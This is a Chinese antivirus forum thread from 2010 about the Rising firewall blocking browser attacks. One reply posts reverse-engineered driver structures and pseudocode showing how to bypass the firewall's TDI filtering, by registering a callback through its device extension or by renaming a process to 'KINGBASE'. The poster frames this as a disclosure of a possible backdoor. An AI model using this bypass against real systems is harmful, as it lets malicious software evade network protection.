查看: 6736|回复: 55
收起左侧

[瑞星] 伟大的瑞星防火墙立功了。

  [复制链接]
苑冉
头像被屏蔽
发表于 2010-8-20 17:17:45 | 显示全部楼层 |阅读模式
如图:

jijiasd
发表于 2010-8-20 17:18:07 | 显示全部楼层
恭喜了
qingyangxpc
发表于 2010-8-20 17:20:17 | 显示全部楼层
貌似着实不错 不过我没装
成都焓公子
发表于 2010-8-20 17:21:58 | 显示全部楼层
这个漏洞补丁没打?
liveliub
头像被屏蔽
发表于 2010-8-20 17:22:01 | 显示全部楼层
从来不装防火墙 也不怕所谓的远程攻击  
苑冉
头像被屏蔽
 楼主| 发表于 2010-8-20 17:22:07 | 显示全部楼层
瑞星防火墙的防攻击确实很不错,已经多次拦截这些浏览器攻击了。
223301993
发表于 2010-8-20 17:24:02 | 显示全部楼层
没被攻击过
Lgwu
头像被屏蔽
发表于 2010-8-20 17:26:56 | 显示全部楼层
本帖最后由 Lgwu 于 2010.8.20 17:51 编辑

对应漏洞补丁修复后,防火墙不阻止也不会有问题。

  同时给楼主点代码吧,不知道目前瑞星是否解决了该问题。


  1. 有意思的瑞星防火墙Tdi过滤驱动内部调用解析tdi 过滤驱动设备名为 "RFWTDI" ,关键处理函数函数和DEVICE_EXTENSION结构如下

  2. #define    CALLBACK_CREATE_INDEX        0
  3. #define    CALLBACK_CLEANUP_INDEX        2
  4. #define    CALLBACK_PROCESSID_INDEX                         3
  5. #define    CALLBACK_SEND_INDEX        4
  6. #define    CALLBACK_CONNECT_INDEX        5
  7. #define    CALLBACK_DISCONNECT_INDEX    6
  8. #define    CALLBACK_SET_EVENT_INDEX                         7
  9. #define    CALLBACK_RECEIVE_INDEX        8
  10. #define    CALLBACK_SEND_DATAGRAM_INDEX            15

  11. typedef BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status);

  12. BOOLEAN SetTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8);

  13. BOOLEAN RemoveTdiCallbackFunction(int CallbackIndex,FARPROC pfnCallback,int arg_8)

  14. typedef struct _DEVICE_EXTENSION
  15. {
  16.     FARPROC        SetCallback;
  17.     FARPROC        RemoveCallback;
  18.     FARPROC        pFindObjectInfo;
  19.     PDEVICE_OBJECT    AttachedTcpDevice;
  20.     PDEVICE_OBJECT    SourceTcpDevice;
  21.     PDEVICE_OBJECT    AttachedUdpDevice;
  22.     PDEVICE_OBJECT    SourceUdpDevice;
  23.     PDEVICE_OBJECT    AttachedRawIpDevice;
  24.     PDEVICE_OBJECT    SourceRawIpDevice;
  25. } DEVICE_EXTENSION,*PDEVICE_EXTENSION;

  26. 调用方法:
  27.   IoGetDeviceObjectPointer 得到设备对象,然后得到DEVICE_EXTENSION结构
  28.   通过调用 DeviceExtension->SetCallback 函数去过滤各个Tdi事件进行by pass

  29. 我们来看看过滤驱动的 IRP_MJ_CREATE 的处理和 by pass

  30. NTSTATUS Dispatch_Create(IN PDEVICE_OBJECT DeviceObject,
  31.              IN PIRP Irp,PIO_STACK_LOCATION IrpSp)
  32. {
  33.     NTSTATUS        Status = STATUS_SUCCESS;
  34.     WCHAR        ProcessName[0x20];
  35.     PDEVICE_OBJECT    AttachedObject; // var_8
  36.     UCHAR        ProtocolType;
  37.     PFN_TdiFunction*    pfnTdi;

  38.     AttachedObject = GetAttachedTargetDevice(DeviceObject,
  39.             &ProtocolType,Irp);
  40.     if(!AttachedObject)
  41.     {
  42.         Irp->IoStatus.Information = 0;
  43.                          Irp->IoStatus.Status      = STATUS_SUCCESS;
  44.         IoCompleteRequest(Irp,IO_NO_INCREMENT);
  45.         Status = STATUS_SUCCESS;
  46.         return Status;
  47.     }
  48.    
  49.     GetCurrentProcessName(ProcessName);
  50.     _wcsupr(ProcessName);

  51.     do
  52.     {
  53.                         if(wcsncmp(ProcessName,L"KINGBASE",8) == 0)
  54.         {
  55.         break;
  56.         }

  57.         if(pfn_TdiCallbacks[CALLBACK_CREATE_INDEX][0])
  58.         {
  59.                pfnTdi = (PFN_TdiFunction*)pfn_TdiCallbacks[CALLBACK_CREATE_INDEX];
  60.                do
  61.                {
  62.            if(!(*pfnTdi))
  63.            {
  64.               break;
  65.            }

  66.            if(!(*pfnTdi)(DeviceObject,Irp,&Status))
  67.            {  // Bypass 掉了
  68.               Irp->IoStatus.Information = 0;
  69.               Irp->IoStatus.Status      = STATUS_SUCCESS;
  70.               IoCompleteRequest(Irp,IO_NO_INCREMENT);
  71.               return Status;
  72.            }

  73.            pfnTdi++;
  74.                                         } while (TRUE);
  75.            }

  76.      ...

  77. 我们在我们的驱动中定义一个 PFN_Callback 函数 MyCallback ,

  78. BOOLEAN (*PFN_Callback)(PDEVICE_OBJECT DeviceObject,PIRP Irp,NTSTATUS* Status)
  79. {
  80.       // 是我们要by pass 的进程 return FALSE;

  81. }

  82. 然后调用
  83.     DeviceExtension->SetCallback(CALLBACK_CREATE_INDEX,MyCallback,0);

  84. 其它Tdi过滤同样可利用来 ByPass
  85.        DeviceExtension->SetCallback(CALLBACK_CONNECT_INDEX,MyCallback,0); // TdiConnect
  86.        DeviceExtension->SetCallback(CALLBACK_SEND_INDEX,MyCallback,0);         // TdiSend
  87.        DeviceExtension->SetCallback(CALLBACK_RECEIVE_INDEX,MyCallback,0);   // TdiReceive
  88. 等等

  89. 当然,你也可以简单的将PEB 进程名改为 kingbase 进行 By Pass

  90. 是否是后门,有待探讨。
复制代码

hwh306311031
发表于 2010-8-20 17:28:54 | 显示全部楼层
没打补丁,难免下次接着攻击
话说这种机会还真是难得
ssactt
发表于 2010-8-20 17:30:28 | 显示全部楼层
至今为止,只用过瑞星的防火墙一次,那次是综合症爆发装了玩的,用的是杭州志愿者论坛的规则,还可以。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 07:19 , Processed in 0.125830 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表